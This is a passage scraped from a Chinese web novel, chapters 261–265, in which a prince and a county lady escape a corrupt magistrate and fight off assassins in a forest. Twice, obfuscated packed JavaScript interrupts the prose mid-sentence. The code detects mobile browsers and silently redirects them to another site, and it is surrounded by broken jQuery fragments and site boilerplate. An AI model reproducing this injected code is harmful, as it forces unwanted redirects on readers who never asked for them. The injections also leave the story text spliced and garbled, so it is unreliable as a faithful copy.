“那,那咱们要不要报官?”孙武凡有些迟疑。
“你知道那两人叫什么名字么?”韦巍反问。
孙武凡一时间竟然说不上来。
昨日**旺介绍时,只说那是两兄弟,京城来的,姓谢,一个家中行七,一个家中行八。
家中孩子那么多,多半是什么大家贵族出身。
当时两人填名字时,他们急着去找座位,也就没管他们,压根不知道他们叫什么名字。
孙武凡此刻懊悔得直拍大腿。
“算了,多一事不如少一事,咱们还是先别去报官了。看看官爷找不找咱们,若是找了,咱们再说。若是没找,就当全然不知吧。”韦巍果断做出了决定。
“这些日子我不出门了,孙兄你也莫要来寻我了,我哪都不去。”
朱李二人的死把他给吓到了,他决定接下来的日子闭门不出。
下个月的血金笼他也不去了。
等到过年若是还平安无事再说。
听他这么一说,原本想报官的孙武凡也犹豫了。
他磨了磨后槽牙,点头:“好,那我也不出门了。”
两人就此散去。
只是他们没想到,不出门,也逃不掉一死的命运。
*
谢翊宁和晏逐星并不知道朱、李二人身故的事情。
他们依旧在扮演着不知世事,花钱阔绰的大户人家的傻儿子。
血金笼每月十五开门,如今关门,地底下的奴隶也被转移了。
停云悄悄跟着他们,摸到了他们的老巢,而后赶忙回来汇报。
“王爷,他们那有十个护卫,两个管事,还有约莫二三十个奴隶,男的多女的少。那个西戎人,被单独关押着。”
“这么多?怎么还有女子?”谢翊宁脱口而出。
晏逐星若有所思:“未必有那么多像徐有福那样自愿的人,他们只能提前搜罗人,让他们被迫自愿登台,这样能避免临上场了找不到人。”
她这一说,谢翊宁也反应过来了。
这世上哪来那么的自愿呢。
这血金笼的幕后指使者真够可恶的。
“王爷,咱们接下来要怎么办?”停云询问。
谢翊宁有些迟疑。
他这一路上带了二十个护卫。
其中一个因为沧州的事情回了京城,昨夜又走了一个回京汇报血金笼的事情。
如今还剩十八人。
这十八个人对上血金笼那点护卫倒是轻轻松松。
只是他若直接救人一定会打草惊蛇,那些奴隶救出来也没法安置。
此事还得从长计议。
“找人打听打听,万帆楼和血金笼背后的靠山是谁。”谢翊宁吩咐了下去。
虽然他心里有了猜测,但还是想要确认一下。
血金笼能做得那么大,想必一定是**结。
这临清衙门的水,怕是要比沧州还黑上一倍。
“是。”
停云应声,赶紧去查。
他们在临清又呆了一日。
第三日,停云急匆匆地赶了回来。
“王爷,幕后之人打听到了。临清的知州,以及青州如今的知府,都是他们的靠山。”
谢翊宁眉头皱得紧紧的。
能打听出来的只有这两个地方的官员,那鲁地其他地方的官员呢,会不会也和他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022972|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们同流合污?
整个齐鲁地区,他能信的人,有谁呢?
“还有,属下还打听到了一件事。那夜领着您和县主进那搏命窟的四个人里,全都**。”停云把这件蹊跷的事情也说了出来。
晏逐星当即意识到不妙。
“咱们得快点走。回京城,青州不能去了。”
谢翊宁也反应了过来。
那夜和他们一块的人都**,说明背后有人在找他们。
如果真的是临清官员要杀他们,再呆下去,他们恐怕插翅难飞。
“走。”谢翊宁果断放弃了那些东西,没有动马车,只是轻装上阵,让手下的人先带着东西离开。
他们一下楼,就瞧见了客栈掌柜紧紧盯着他们。
“二位公子可是要退房了?”
“谁说要退房了,再给我们续三天。这临清城可真是好地方,我们兄弟二人还没玩够了,打算再找点乐子。”晏逐星财大气粗地扔了一锭银子。
“好咧。”掌柜长长地松了一口气。
他可是接到了上头的命令,让他看**这些人,不许他们搬走,还不能让他们察觉到他的目的。
这可真是快把他给难为**。
还好还好,这两位什么也不知道,依旧乐呵呵地准备出门找乐子。
掌柜长舒一口气的模样落在了谢翊宁二人的眼里。
他们对心中的猜测愈发肯定了。
有人不想让他们离开。
“您二位想去哪,不如让小二带你们去吧,他可是土生土长的临清人,哪里好玩,他门清。”掌柜推了一把正在擦桌子的店小二。
小二忙不迭地点头:“小人保管带二位公子玩得痛痛快快的。”
“行啊。”谢翊宁没有拒绝,让他引路。
两人假装像往日一样出门找乐子,客栈里的东西都没拿。
暗中监视他们的人,悄摸回了府衙。
盯梢的苏咏低声道:“大人,他们出门了,像是还不知道咱们在盯着他们呢。”
临清知州听到这话,眉头微微放松,但很快又皱了起来。
虽说只是伯爷之子,但一下**两个儿子,武康伯会不会发疯,到时候让皇上彻查此事?
他们今夜,到底要不要动手呢。
第261章 开始大逃亡
昨日,手下人火急火燎地来报:“大人!有人要进京告御状,要把血金笼的事捅给皇上。”
临清知州一愣,满脸不屑:“谁?哪个不长眼的狗胆包天敢告我们?”
不等下属回答,他厉声追问。
“人呢?抓起来没有?”
下属一句话让他瞬间变了脸色:“没、没拿下。那人自称是武康伯的人,放话说我们敢拦他,就让咱们吃不了兜着走。他身手太厉害,弟兄们根本挡不住……属下无能,眼睁睁看着他冲出城了!”
“废物,一个人都拦不住,要你们有什么用。”
临清知州破口大骂,顾不得罚他,当即命人在返京官道上设卡,严格盘查,务必要抓到那个回京通风报信之人。
随后又命人去打听,这个月万帆楼确实来了两个少年郎,出手阔绰,听口音确实是京城来的。
与此同时,他派人去查了那夜和武康伯之子一块去了血金笼的四个人。
发现已经有两人殒命!
恐怕是他们发现了什么,所以被武康伯之子灭口了吧。
于是他当即把剩下两人也找到,发现问不出什么有用的东西,一并杀了。
如今,那个回京通风报信的人还未抓到。
他在纠结到底要不要对武康伯之子动手。
“罢了,抓活口。”临清知州最终拍板。
活的还能拿来跟武康伯讨价还价。
死的万一逼得武康伯狗急跳墙,他们也没好果子吃。
除非能半路截住那个进京报信的人,这边再彻底斩草除根。
“立刻带人,把他们住的客栈给我围了。就说……他们牵涉重案,要拿回来问话!”
临清知州眼都不眨,就将一顶“命案”的大帽子扣在了谢翊宁等人头上。
“是!”
命令一下,官差立刻去了客栈。
大门被轰然撞开,兵丁刀出鞘,瞬间将大堂控制住,杀气腾腾。
“奉知州大人令!缉拿要犯!天字乙号房的人,出来!”为首的捕头厉声断喝,目光锐利地扫视,却不见目标踪影。
客栈掌柜一脸惊惶地小跑过来,对着捕头连连作揖:“官爷息怒!天字乙号那几位贵客一早就出去了,说是去城里找些乐子。”
捕头眼神一凝,压低声音:“盯着的人呢?”
掌柜凑近捕头身边,耳语道:“回官爷,按吩咐,小的派了最机灵的小二顺子悄悄跟上了。可这都过去快两个时辰了,顺子还没回来报信!小的这心里正打鼓呢……”
捕头心头一沉。
人走了两个时辰,连盯梢的眼线都失联了?
这绝非巧合!
他猛地抬头,厉声呵斥:“找乐子?找什么乐子?他们往哪个方向去的?快说!”
掌柜讪讪道:“这小的就不知道了。”
“那他们的东西呢?”捕头又问。
“车马行李还在呢。小的一直看着,没动过。”掌柜赶忙回答。
有了这句话,捕头稍稍安心了些。
这些贵重的东西都还在,想必还没离开城里。
他当即怒喝:“传令下去,立刻封锁城中所有出入口!重点搜查勾栏瓦舍、赌坊、戏楼、花船。凡有可疑人等,尤其是气度不凡的生面孔,一律拿下!”
说完又补充了一句:“把顺子的画像也分发下去,活要见人,死要见尸!”
“是。”官差们顿时都行动了起来。
殊不知,他们追的人,已经离开了临清城。
船上。
谢翊宁正拿着舆图查看他们要去的地方。
“咱们不能回京,也不能去青州。青州是他们的老巢,去了青州那就是自投罗网。回京也不安全,他们恐怕会布下天罗地网拦人。所以咱们得往西南走。”
他的指尖沿着舆图上的河流与道路脉络,坚定地划出一条线:“渡过卫河,进入莘县地界,然后咱们马不停蹄,去南乐。”
“南乐处于三省交界之地。临清和青州那群人的手再长,想在这精准地找出我们,也得费一番周折。”
晏逐星毫不犹豫地点头:“没问题,听王爷的。”
如今顺流,半日的功夫,日落之前他们就能赶到莘县。
“只是可惜了皇后娘娘给您准备的那些东西。”晏逐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022973|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
星叹了一口气。
没想到只是回家寻亲一趟,路上就遇到了这么多事情。
他们走得匆忙,只来得及拿了一些金银细软和银票,大部分的东西都还落在了客栈里呢。
“没什么可惜的。他们今日拿了多少,改日就得给我翻倍吐出来。”谢翊宁不以为意。
一旁的季行舟听着他这财大气粗的发言,心痛得直捂心口。
“那么多贵重的药材,那群蠢货可别都给糟蹋了。”
“再贵重,能有我们的命贵重么?”谢翊宁看了一眼晏逐星。
季行舟:“……”
那倒是。
那所有的东西加起来都没有永安王的命贵重。
晏逐星赞同地点了点头:“银子能再挣,药材能再买,但命没了,可就未必有机会重来了。”
说到这,她忍不住有些想笑。
她和永安王都是幸运的,能有了这一次重来的机会,所以他们比谁都要珍惜自己的命。
谢翊宁明白她话外的意思,忍不住也跟着笑了起来。
一旁的季行舟一头雾水。
笑什么呢?
明明三人站在一起,他却感觉永安王和令嘉县主自成一体,自己像个插不上话的外人。
好像全世界只有他们俩是一伙的,自己完全被排除在外。
“青州那边你也不用担心,停云已经安排了人去给隐麟卫传信。若你爹娘和兄长先到了青州,会有人照顾好他们的。若他们等不及了,咱们就京城见。”谢翊宁再次开口。
晏逐星这下是彻底惊讶了。
她没想到这关键的逃命时刻,永安王竟然还把她家里人也给安排好了。
王爷果然是天底下最好的人!
她眨巴着眼,眼里满是崇拜:“多谢王爷!”
看着她的眼睛,谢翊宁忽然觉得这个逃亡路上也不是那么让人烦躁了。
“都是自己人,道什么谢。”谢翊宁笑着摸了摸她的脑袋。
一旁毫无存在感的季行舟看了一眼谢翊宁,又看了一眼晏逐星,眼神幽怨。
他这个活生生的人就在这,他们就不能看他一眼吗?
第262章 狡猾的东西
也许是他注视的目光太过强烈,谢翊宁终于看到了他。
谢翊宁盯着他,上下扫视了一圈,而后皱起了眉头。
他这表情让季行舟心里涌起了一阵不妙的预感。
谢翊宁开口道:“若之后他们追上来了,你还是单独跟着保护你的护卫跑吧。别跟着本王了。”
“为什么?!王爷?您要抛弃我了么!”季行舟急了。
“他们的目标应该是我和令嘉县主,你跟着我们,你不会武功,没有自保的能力,到时候护卫还得分神保护你。”谢翊宁面无表情道。
季行舟:“……”
意思就是嫌他是个累赘呗,跟上了会拖后腿。
“我会武功,九栀也会武功,双鲤的三脚猫功夫虽然杀人不成,但光逃命应该也够用。”晏逐星跟着补刀。
“你倒不如跟着一个护卫跑,这样还安全。毕竟你若出事了,我们没法和季太医交代。”
季行舟有气无力地点了点头:“知道了。若是出事,我会跟着护卫跑的。绝不给你们拖后腿。”
他转身时忍不住小声嘀咕。
“不带上我,到时候看你们受伤怎么办。”
日落前,他们抵达了莘县外的河滩。
逃出临清并未让他们放松,谢翊宁一行人迅速隐入河畔一片茂密的山林。
谢翊宁命停云去采购马匹物资,他们不能在这耽误太久,得抓紧时间去南乐。
与此同时。
那个失踪的小二顺子,终于在城南一条偏僻臭水沟旁被发现了。
官差们将他从一堆废弃的渔网和芦苇丛里拖了出来。
“把他给我弄醒!”
临清知州看着被捆得结结实实,昏迷不醒的顺子,一股邪火直冲脑门。
听了他的吩咐,下属赶忙拎起一桶冰冷的带着河沟腥臭味的脏水,狠狠泼在顺子头上脸上。
“咳!咳咳咳……”顺子猛地一激灵,被呛醒过来,冻得浑身发抖,茫然又惊恐地睁开眼。
对上知州那张阴沉得能滴出水来的脸,他打了个哆嗦,赶忙跪下。
“小的参见大人。”
“废物!”知州一脚踹在顺子肩膀上,声音从牙缝里挤出来,“人呢?让你盯的人呢?他们去哪儿了?!”
顺子疼得龇牙咧嘴,鼻涕眼泪混着脏水往下流,惊恐地哭嚎:“大人饶命啊!小的该死,小的……把人跟丢了。”
他努力回忆,语无伦次:“他们说要去城南新开的快活林找乐子。小的在前边领路,可刚拐到杏花巷,后脑勺就猛地一疼,然后眼前一黑,小的就啥也不知道了啊!”
“杏花巷?”临清知州眼神凶狠地扫向捕头。
捕头脸色难看地摇头:“大人,杏花巷是条死胡同,尽头是几家住户的后墙。他们肯定是在那里下的手,然后翻墙跑了。巷子四通八达,根本不知道他们往哪跑了。”
临清知州面色铁青。
都这个时候了,他要是还反应不过来那他真就是傻子了。
武康伯那两个儿子,恐怕早就知道自己盯上他们了。
说是找乐子,实际上是趁机金蝉脱壳!
真是狡猾的小东西。
“查,看他们去了什么方向,掘地三尺也要把人给本官找出来。另外,速速给青州去信,让邢大人帮着把人找到。”
临清知州咬牙切齿,恨不得立刻把谢翊宁二人找出来弄死。
*
夜幕降临后,停云从林外快步闪入,压低声音回禀。
“王爷,马备好了。”
谢翊宁扫了一眼他带回来的马。
都是劣马。
数量还少,只有五匹。
但现下这个时候,也没什么可挑剔的了,有马代步就不错了。
谢翊宁灌下最后一口凉水,抹了抹嘴,眼神扫过众人,没有丝毫犹豫:“此地不宜久留。临清那边随时可能追来。收拾一下,咱们立刻动身。”
他们一共十七个人,五匹马优先让谢翊宁和晏逐星使用了。
另外三匹给了九栀,停云和季行舟。
九栀骑马带着双鲤,停云骑马紧跟季行舟。
其余的护卫跑步跟上。
没有多余的言语,众人迅速熄灭微弱的篝火余烬,将痕迹尽量掩埋。
莘县到南乐,若是一路平安无事,他们应当清晨就可以抵达。
出了鲁地,到了南乐,就安全多了。
只可惜,事与愿违。
他们出发了约莫一个多时辰,就有追兵追上来了。
急促杂乱的马蹄声便如催命鼓点般自身后响起。
停云回头便看到了十几道黑色的身影策马追了上来。
“他们怎么会来得那么快?”停云大吃一惊。
话音落下,追兵已至。
黑衣人们如狼似虎,没有丝毫废话,雪亮的刀光直劈而下。
谢翊宁的护卫反手急忙迎敌。
“杀了他们,不许他们将临清的事情透露出去。”领头的周青大吼出声。
为的就是误导谢翊宁一行人。
他没想到临清知州那么废物,煮熟的鸭子也能飞了。
还好他们一直派人盯着谢翊宁,人一上船,他就预感不妙,立刻让人先一步上船,猜到了他们的方向后,快马加鞭地追了过来。
这章没有结束,请点击下一页继续阅读!两边立刻杀成一团,刀光剑影,更加激烈。
季行舟眼尖,瞧见这群追杀的黑衣人似乎没带弓箭,当即撒丫子就蹿上旁边一颗大树。
王爷说什么让护卫护着他先走,这情况走个屁啊。
还是先顾好他自己的小命,别给大家伙拖后腿就行。
他又不会武功,躲树顶上总比在下面安全。
他光顾着逃命,没注意到头顶枝叶里藏着一个和人头差不多大的蜂窝。
手脚并用往上爬的当口,他手肘狠狠撞到了蜂窝下方的树干。
“嗡——!”
一阵让人头皮发麻的巨响瞬间炸开。
季行舟吓得差点栽下去。
借着月光,他惊恐地看见一团灰褐色满是孔洞的“泥疙瘩”剧烈晃动,无数马蜂像炸了锅的黑云,猛地涌了出来。
季行舟吓得魂都飞了,这东西蜇人一下剧痛无比,搞不好还会要命。
他整个人死死贴在树干上,大气不敢出,恨不得把自己变成树的一部分。
被彻底激怒的蜂群没注意到屏住呼吸,紧紧贴合树干的季行舟,反倒第一时间注意到了树下那帮大喊大叫的人。
它们只觉得底下一片刀光乱舞、马蹄乱蹬,吵吵闹闹,威胁极大。
愤怒的马蜂像一片乌云,猛地就朝树下的人俯冲下去。
“啊!什么东西?!”
“是马蜂!快躲开!”
“蛰死我了!快散开!”
惨叫声立刻取代了厮杀声。
突如其来的马蜂让下边的人和马彻底乱了套。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第263章 又救他一回
马匹受惊,疯狂跳跃冲撞,追杀他们的人要么被甩下马,要么被蜂群围住,他们拼命拍打阻挡,但根本挡不住这些疯狂的小东西。
整个追兵队伍瞬间崩溃。
“脱衣裳裹住脑袋,点火把!”晏逐星急中生智大声提醒。
双鲤立刻撕下自己的半截衣襟裹在树枝上,掏出火折子猛吹几下点燃布条。
一个简陋的火把在黑暗中亮起。
她奋力挥舞着,火焰夹着浓烟,暂时逼退了扑向他们这边的马蜂。
“快靠过来!用烟熏!”晏逐星反应极快,一把拽过谢翊宁,带着还能动弹的护卫往火把这边聚拢。
谢翊宁懊恼自己怎么没常识,遇上这种事就束手无策。
还是小恩人厉害。
她又救了他一回,等回了京,他必须让父皇母后好好赏赐小恩人一番。
就拿临清这些被抄没的贪官污吏的家产来赏吧。
远在京城的文昭帝还不知道儿子遇险了,更不知道儿子已经帮他把之后的赏赐都给安排好了。
其他的护卫如梦初醒,纷纷有样学样,手忙脚乱地撕下衣角、捡拾枯枝,拼命点燃火把。
橘红色的火苗跳跃着,升腾起的烟雾像一道无形的屏障。
马蜂被浓烟一冲,便不敢冲进来了,只敢在烟雾外围焦躁地盘旋。
此起彼伏的惨叫声还没停下,双方都受了攻击。
追杀他们的黑衣人点燃火把的反应稍慢,便被狂怒的马蜂重点关照了,瞬间就有好几人被蜇得惨叫连连,翻滚在地。
其中三人运气不好,被蛰到了咽喉,抽搐了几下,便蜷缩在地没了声息。
晏逐星这边也有护卫不幸中招,脸上、手臂上迅速鼓起骇人的红肿疙瘩,疼得龇牙咧嘴,好在暂时无人丧命,强忍着剧痛紧靠火堆。
高高的树冠上,季行舟死死抱着粗糙的树干,欲哭无泪,动都不敢动,心里拼命祈祷马蜂别发现他这个真正的罪魁祸首。
“列祖列宗保佑啊,逢年过节我可都给你们上了很多香,烧了很多纸钱,从未亏待过你们。你们一定要保佑这些马蜂发现不了我啊。我可不想这么早就下去见你们。祖宗保佑……”
季行舟闭上眼睛,在心底碎碎念个不停。
眼见火把和浓烟起了奇效,原本气势汹汹的追杀者也顾不得任务了,保命要紧。
他们有样学样,手忙脚乱地点燃了能找到的所有可燃物,一边挥舞着驱赶蜂群,一边惊恐地互相招呼着,仓皇地朝着远离蜂群的方向跌跌撞撞地撤退。
晏逐星等人长长地舒了一口气。
季行舟这才从树上麻溜地爬了下来,落地时还踉跄了一下,显然刚才吓得不轻。
谢翊宁横了他一眼:“你弄出来的?”
季行舟头皮一麻,讪讪一笑:“我不是故意的!真不是!那马蜂窝……咳,纯属意外!意外!”
他一边辩解,一边飞快地扫视着周围呻吟的护卫,发现他们被叮咬的皮肤上已经迅速肿起触目惊心的红肿大包,有些地方甚至开始发紫。
医者的本能瞬间压过了尴尬和恐惧。
“现在不是说这个的时候,得赶紧给大家伙找解毒的药材。”季行舟神色一肃,立刻猫下腰,在附近寻找了起来。
“车前草、蒲公英、虎耳草……都是好东西,凉血消肿!”他一边嘀咕一边在附近搜索能用的药材。
“小季大夫,这黑灯瞎火的,能行吗?”一个被蜇了手背的护卫,声音嘶哑,疼得直抽气。
看着季行舟采回来的杂草,眼神里满是怀疑和痛苦。
“你质疑我的医术?”季行舟眉毛一挑,正要辩解,就看到了谢翊宁横扫过来的眼刀。
他赶忙弯腰将先前采来的药材聚拢在一块相对干净的石头上,也顾不上讲究,拿起一块石头“砰砰砰”地用力砸捣起来。
“等会儿你就知道管不管用了。”他一边嘟囔一边砸药材,像是要把不满都发泄出来。
不一会儿,绿色的汁液立刻迸溅出来,散发出混合着青草气息和淡淡苦味的独特气味。
他抓起一把砸得稀烂、浸透汁液的药泥,毫不犹豫地按在旁边护卫那红肿发亮的大包上。
“嘶——!”
护卫倒吸一口冷气,随即眼睛猛地瞪大。
“凉!好凉!”
那股钻心的灼痛和麻痒,被这股沁人的清凉感压了下去。
“有效!真的有效!”护卫惊喜地喊道。
他的话让其他伤员眼中立刻燃起了希望。
不用季行舟再催促,轻伤的护卫立刻行动起来,学着季行舟的样子,七手八脚地开始砸药草,敷到了被叮咬的位置。
谢翊宁和晏逐星还好,他们反应快,只被叮了两三个包,稍微敷了一下就好多了。
见众人处理伤口处理得差不多,谢翊宁沉声开口:“咱们得继续赶路。先前追杀我们的人,十有八九并非官府之人。”
“什么?”季行舟失声惊呼,“他们不是口口声声说是因为临清城的事吗?”
双鲤反应极快,她看了一眼还在发愣的季行舟,小声道:“小季大夫,王爷的意思是有人在借刀杀人,栽赃嫁祸。”
季行舟:“……”
他张了张嘴,一时竟无言以对。
连个小丫鬟都比他看得透?
一股难以言喻的挫败感涌上心头。
“嗯。”谢翊宁微微颔首,肯定了双鲤的判断。
“那些人出手狠辣刁钻,招招式式皆是夺命的杀招。绝非寻常衙役捕快,更非奉命缉拿的官兵路数。”
“此等凶戾精悍,必是豢养于深宅高门之下的暗卫死士无疑。”
谢翊宁的声音彻底冷了下去。
“看来,是京中有些人嫌命太长,按捺不住了。”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第264章 难道要死了
谢翊宁这番话让在场的人都猛地一震。
京城里的暗卫都出手了,看来这场追杀比他们想象的还要凶险。
“王爷,咱们即刻出发吧。”停云强忍着臂上蜇伤的灼痛,声音带着急切。
浓烟渐散,血腥与药草混合的气味随时可能引来新的敌人。
“嗯。”谢翊宁点了点头。
马儿已经在先前的混乱中跑走了。
他们如今只能步行。
一行人你搀扶着我,我搀扶着你,徒步往南乐的方向走去。
约莫走了一个多时辰,众人停下休息。
不曾想,新的一波追兵竟然又来了。
马蹄声敲打着地面,正从他们侧后方的林子深处急速逼近。
“不好!”停云瞳孔骤缩,猛地挺直身体,瞬间拔剑出鞘,“有敌袭,快起来!西北方向!”
瘫倒的众人如同被冰水浇头,瞬间炸开。
护卫连滚带爬地抓起武器,准备迎敌。
“结阵!护住王爷和县主!”停云嘶吼着,一把将旁边一个同伴拽起。
然而,对方的速度太快了。
二十多道黑影冲破林间薄雾,瞬间出现在众人视野中。
清一色的夜行衣,脸上蒙着黑巾,只露出一双冷漠的眼睛。
他们胯下的战马喷着白气,蹄声如雷,没有丝毫停顿,更没有一句废话,直接朝着人群中防御最薄弱的地方狠狠冲撞过来。
这一撞,直接把先前受了重伤的两个护卫给撞死了。
谢翊宁反应过来。
又是一批暗卫!
看这装束和沉默狠戾的冲锋方式,与之前那批不同,但杀意却同样凛冽。
“散开!别硬挡!”
谢翊宁怒吼,一剑格开率先劈来的刀,巨大的冲击力让他手臂发麻。
他顺势一个翻滚,险之又险地避开了紧随其后的马蹄践踏。
“啊——!”惨叫声响起,一个躲避不及的护卫被马刀扫中,血光迸现。
“小季大夫,跑。”晏逐星扯了一把还在发懵的季行舟,一柄刀几乎是贴着她的头皮掠过,削断了她几缕发丝。
随后她把季行舟推给了一个受轻伤的护卫。
“带着他,跑。”
季行舟有些犹豫。
他现在带护卫跑了,王爷他们这边不就少了一个人帮忙么。
但护卫来之前已经得到过王爷的明示。
令嘉县主发号的命令,等同于王爷的命令。
因此他二话不说,直接扯着季行舟就跑。
谢翊宁与晏逐星背靠着背,与敌人厮杀。
谢翊宁在混乱中迅速判断形势。
对方来者不善且骑着良马,精力十足,己方疲惫带伤,原地结阵硬抗就是送死。
“往东!进密林!快!”
谢翊宁当机立断下令。
旁边山路陡峭,树丛茂密,马儿难以快速穿行,他们分散逃跑,或许还有一线生机。
没有时间犹豫。
所有人凭着本能朝着谢翊宁指示的方向亡命奔逃。
睿王心腹赵福恙一看,露出了嗤笑。
永安王这群人先是被康乐公主的人消耗了一波体力,如今他们走了那么久,早已疲惫不堪,还能逃到哪里去。
只是康乐公主派来的人未免太过废物,竟然没能折损他们的人。
还不是得靠他们。
“追。”
他冷漠地下令,今日一定要将永安王等人斩杀,让他长埋于这片密林。
反正背锅的人选已经有了,他们放手去杀便是。
谢翊宁一行人钻入密林之后,没有聚集,分开逃跑。
追着他们的赵福恙一时间不知道谢翊宁究竟是往哪边跑了,不得不分开行动。
晏逐星毫不犹豫地选择了和谢翊宁还有停云一道。
九栀已经被她支开,让她带着双鲤先藏起来。
山林密集。
那些人的目标是她和永安王。
九栀和双鲤只要藏得好,说不定能躲过一劫。
三人快步疾行,一步都不敢停,然而他们还是慢了一步。
“哈,找到你们了。”
赵福恙拿着刀,领着四个下属,出现在了他们的面前。
晏逐星数了一下,五个暗卫,他们仨努努力,还有一线生机。
可以拼一把。
不曾想,领头那人却掏出了暗哨吹响。
晏逐星几人抓紧了手中的剑,知道他们很快就会有同伴过来,决定速战速决。
没有废话,三人毫不犹豫地出手了。
“王爷,县主,您二位若是束手就擒,我还能给你们留个全尸。何必这般苦苦挣扎呢。”
赵福恙一边挥刀猛攻,一边用言语试图扰乱谢翊宁几人的心神,语气带着猫捉老鼠般的戏谑。
然而回应他的只有更凌厉的剑光。
谢翊宁一行人仿佛屏蔽了他的聒噪,每一招都带着决绝的杀意。
他们的目的很明确,杀了他们,逃出去!
赵福恙起初根本没把那位晏逐星放在眼里,只当她是一个顺带解决的累赘。
可一交手,他就知道自己大错特错。
晏逐星的功夫不似寻常闺阁女子所学。
这章没有结束,请点击下一页继续阅读!那看似纤细的手腕爆发的力量竟震得他虎口发麻。
几招下来,他非但没能压制对方,反而隐隐有被压着打的趋势。
“该死!”
赵福恙心中暗骂,脸上那点轻佻瞬间消失无踪,取而代之的是凝重和一丝难以置信的惊骇。
他再不敢有半分大意,立刻收摄心神,使出了看家的搏命杀招。
晏逐星也没想到这人那么难缠。
比刚刚杀掉的那个暗卫难缠多了,她不得不转换了作战的路数。
就在赵福恙自以为摸清了晏逐星的路数,准备一鼓作气将其拿下之际。
异变陡生。
晏逐星左手手腕猛地一翻,袖中寒光乍现,一个弩箭直冲他的面门而来。
赵福恙狼狈地闪开,后退半步。
他咬着牙继续跟晏逐星对打,将谢翊宁和停云交给了剩下的四个下属。
但他万万没想到,晏逐星身上藏了那么多武器!!!
用弓弩搞偷袭,紧接着近身用匕首偷刺,匕首被踢飞之后腰间竟然还能掏出软剑强攻。
这他娘的怎么打呀。
就在他以为自己要被晏逐星一刀毙命之际,他的同伴赶来了。
看着赶来的六个人,停云和谢翊宁脸色都变得很难看。
他们已经杀掉了三个暗卫,但如今还剩两个人,虽说那两个人也是伤员。
但再来六个人,他们三对八,几乎没有胜算。
难道,他们今日真的要死在这里了么?
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第265章 抛下王爷走
“王爷,县主,我劝你们束手就擒吧。”见自己人来了,赵福恙倚靠在同伴身上,眼里露出了得意的笑容。
在他看来,谢翊宁三人已经是囊中之物,绝无逃脱的可能。
赶来的六人持刀逼近他们。
谢翊宁面无表情,看向停云:“你掩护婋婋走。不管发生什么事,让她活下去。这是本王给你最后一道命令。”
晏逐星听到他的称呼,一怔,而后有些鼻酸。
婋婋。
那是家里人对她的称呼。
王爷这是把她当成家里人了。
“不,属下绝不抛下王爷!”停云顿时急了。
他这条命是为了王爷而生的,自然要为王爷而死。
他怎么能抛下王爷呢。
“你既然知道我是王爷,那你就该听我的。”谢翊宁眸色变冷,“带她走。”
“不……”晏逐星摇了摇头。
“不许拒绝。上一次,是你救了我。这一次,换我救你。你必须跟着停云离开。”谢翊宁打断她的话,斩钉截铁地开口。
晏逐星迅速道:“不,我的意思是停云不用跟着我,他留下保护你,我自己走。”
她话音落下,趁着赵福恙还未来得及反应,身影一晃便贴近了他身前。
她手上最后一道弩箭疾射而出,狠狠扎进了赵福恙心口。
赵福恙脸上的得意瞬间僵住。
他只觉胸口猛地一痛,低头便看到没入衣襟的箭尾,一股鲜血随之涌出。
他难以置信地抬头,目光死死锁住晏逐星,眼中满是惊愕。
他张了张嘴想说什么,却再也发不出声音。
他怎么也想不到自己竟会以这种猝不及防的方式毙命。
晏逐星偷袭成功,头也不回地撒腿就跑。
风中只留下了她最后一句话。
“我会回来救你,谢翊宁,你不许死。”
停云:“……”
不是,县主真就这样走了啊?
谢翊宁一怔,眼底倏然亮起,恰似日落时分洒落河面的粼粼波光。
他唇角抑制不住地向上扬起,扯出一抹带着几分少年人独有的飞扬与不羁的灿烂笑容,朝着那飞奔而去的背影纵声高喊:
“好!我等你来!”
“放心吧,我的命硬得很,阎王也收不走。我就在这儿等你回来!”
“绝不食言!”
那几人没想到首领竟然就这样死在了自己面前,顿时大怒。
他们分出一个人去追晏逐星,剩下的人包围了谢翊宁和停云。
谢翊宁和停云果断放弃硬碰硬,开始了新一轮的逃跑。
晏逐星跑得飞快。
她一想到谢翊宁的命全都寄托在她身上,她就不敢停顿半分。
她要去搬救兵,她不能让谢翊宁死了。
他的命是她救回来的,没有她的允许,他不许死。
追着她的暗卫上气不接下气,这养尊处优的县主怎么能跑得比他一个暗卫还快。
不曾想,追到一半,跑着的晏逐星忽然停了下来,发出一阵短促的尖叫。
“啊。”
暗卫瞧见她好像被什么绊倒了,顿时大喜。
但先前赵福恙的死还历历在目,他不敢对面前的小姑娘掉以轻心。
“唔……好疼。”躺在地上的晏逐星整个人捂着小腿蜷缩了起来,手中的匕首还被甩飞到了一边。
暗卫露出一抹冷笑。
他终于可以给首领报仇了。
他拔刀就要冲地上的晏逐星砍去,没想到,原本疼得发抖的晏逐星身体猛然弹起。
她借着全身跃起的冲力,狠狠将藏在手里的尖锐石头砸向暗卫毫无防备的脑袋侧面。
暗卫脸上的笑容瞬间凝固,身体被这股巨大的力道砸得向旁一歪,眼前阵阵发黑。
